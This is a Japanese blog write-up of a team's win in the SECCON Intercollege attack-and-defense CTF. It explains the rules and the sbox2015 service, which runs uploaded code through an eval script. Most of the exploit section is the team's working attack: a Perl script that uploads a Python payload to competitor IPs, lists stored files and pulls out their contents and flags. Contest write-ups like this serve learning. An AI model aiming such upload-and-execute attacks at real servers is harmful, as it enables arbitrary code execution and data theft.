チームdodododoで参加して、29109ptで優勝しました。
チーム構成はakiym, xrekkusu, lrks, hiromuの4人。分担は、攻擊班akiymとlrks、防御班xrekkusuとhiromu。
今回のSECCON Intercollegeは学生限定ということで、通常の決勝とは違う、Attack & Defenseルール。各チームにroot権限サーバが1つ与えられ、その上で3つのサービスが動かす。それぞれに脆弱性があり、それを修正しながら、相手に攻擊するといったもの。
ルールを簡単に説明すると、5分毎に運営側からSLAのアクセスが飛んできて、動作しているサービスを経由してフラグがどこかに書き込まれる。正しく書き込まれているか確認出来なければdefense scoreが獲得できない、かつ総得点より3%の減点となる。正しくサービスを運用しつつ脆弱性を修正する必要がある。
他チームのフラグを入手し、サブミットすることが出来ればそのチームの3%のスコアを奪うことができる。4時間で攻擊、防御のバランスをどう取るかが難しいところ。
用意された問題は3つ。ジャンルはすべてwebだった。4時間しかないので、バイナリ問題はさすがに出題しなかったか…
vulnerable_blog, keiba
競技中はほぼ見てない。防御班に任せる。
sbox2015
Python。CGIで動いている。OS X, Windowsクライアントが配布されているが、実行するのが怖かったので、CGIのソースコードを読んだ。
単純にファイルアップローダ。ただし、アップロードしたファイルをeval.rb, eval.php, eval.pyのいずれかを経由して実行することができる。自由にRuby, PHP, Pythonのコードが実行されてしまう。
ちなみに、eval.pyの中身は以下のようになっている。
#!/usr/bin/python
import sys
g = { "INDATA": sys.argv[2], "OUTDATA": "" }
exec open(sys.argv[1]).read() in g
sys.stdout.write(g["OUTDATA"])
SLAチェックは運営側からOUTDATA = "3630329450522296302958265"
のようなリクエストが飛んでくる。問題の趣旨はいかにして、安全なコードを実行しつつ、他チームからの危険なコードを実行させないかである。sandboxのようなものを書いて欲しいのだろう。SLAは単純なので、50文字以上のリクエストを受け付けないようにしてみたところ、他チームから攻擊が確認されなかった。これでいいのか…よくよく考えてみるとexec(INDATA)
で回避できる。危ない。
SLAがちゃんとしたものなら、禁止ワードのフィルタをするなり、ファイル読めないようにopenを潰すとかで防ぐのが正攻法のような気がする。もう少し、攻擊と防御の時間があれば、もっと面白いことができそう。
大会終了後に気づいたが、sbox自体のフラグを守るのは簡単で、実行と同時にアップロードされたファイルを消すとか、ディレクトリのパーミッションをrwx---x--xにするだけだった。ただ、sboxを経由して別サービスのパスワードを読むスクリプトがアップロードされていて攻擊されていたので、さすがに任意コードを実行できる状態なのはまずい。
防御ができたところで、相手チームに攻擊するリクエストを投げる。
アップロードしたファイルは特定のディレクトリ以下に保存されるので、ファイルを時刻順に並びかえて中身をすべて出力させるPythonスクリプトを書く。これで対策がされていないチームのフラグを奪うことができる。
他チームに送信してフラグを奪うところまでスクリプトを書いておいて、スコアサーバへのサブミットは自動化が面倒だったので、全手動でやった。
スクリプトはこんなかんじ。急いで書いたので適当。
use v5.16; use warnings; use utf8; use LWP::UserAgent; my $ua = LWP::UserAgent->new( agent => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36', ); my @ips = ( '10.100.2.1', '10.100.4.1', '10.100.5.1', '10.100.7.1', '10.100.8.1', '10.100.10.1', '10.100.12.1', '10.100.13.1', '10.100.16.1', '10.100.17.1', '10.100.18.1', #'10.100.3.1', #'10.100.6.1', #'10.100.9.1', #'10.100.14.1', #'10.100.15.1', ); for my $ip (@ips) { my $url = "http://$ip/cgi-bin/sbox2015/index.cgi"; my $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'upload', 't' => 'python', 'f' => ['attack.py'], }, ); my $play = $res->content; if ($play =~ /^2/) { $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'play', 'k' => $play, 'd' => '0', }, ); my (@files) = $res->content =~ /'(.+?\.txt)'/g; $res = $ua->post($url, Content_Type => 'form-data', Content => { 's' => 'play', 'k' => $play, 'd' => join(',', @files), }, ); #my ($flag) = $res->content =~ /OUTDATA = "(.+?)"/; #say "$ip: $flag"; my (@flags) = $res->content =~ /OUTDATA = "(.+?)"/g; say "$ip:"; for my $flag (@flags) { say $flag; } } else { warn 'fail'; } }
attack.py:
import os import glob if INDATA != '0': OUTDATA = str([open(f).read() for f in INDATA.split(',')]) os.unlink(INDATA.split(',')[0]) else: f = glob.glob('uploadfiles/*') f.sort(cmp=lambda x, y: int(os.path.getctime(x) - os.path.getctime(y)), reverse=True) OUTDATA = str(f)
まとめ
最終的なスコア。他チームからの攻擊+SLAチェックのfailにより、最終的なdefense scoreがマイナスになった。
攻擊ログが残っていたので、自分のチームの攻擊ポイントをまとめておいた。m1z0r3, MMAからそれぞれ10000ptほど奪うことができたのが大きい。
'akiym' => {
'Aquarium' => 1012,
'IPFactory' => 453,
'TomoriNao' => 643,
'Yozakura' => 269,
'barylite' => 262,
'insecure' => 254,
'm1z0r3' => 7169,
'negainoido' => 1628,
'oishiipp' => 182,
'omakase' => 190,
'security_anthem' => 528
},
'hiromu' => {
'Aquarium' => 543,
'IPFactory' => 581,
'Yozakura' => 192,
'm1z0r3' => 304,
'omakase' => 50,
'wasamusume' => 188
},
'lrks' => {
'MMA' => 9164,
'TomoriNao' => 19,
'Yozakura' => 162,
'insecure' => 91,
'm1z0r3' => 6026,
'negainoido' => 97,
'z_kro' => 93
},
'xrekkusu' => {
'security_anthem' => 2761
}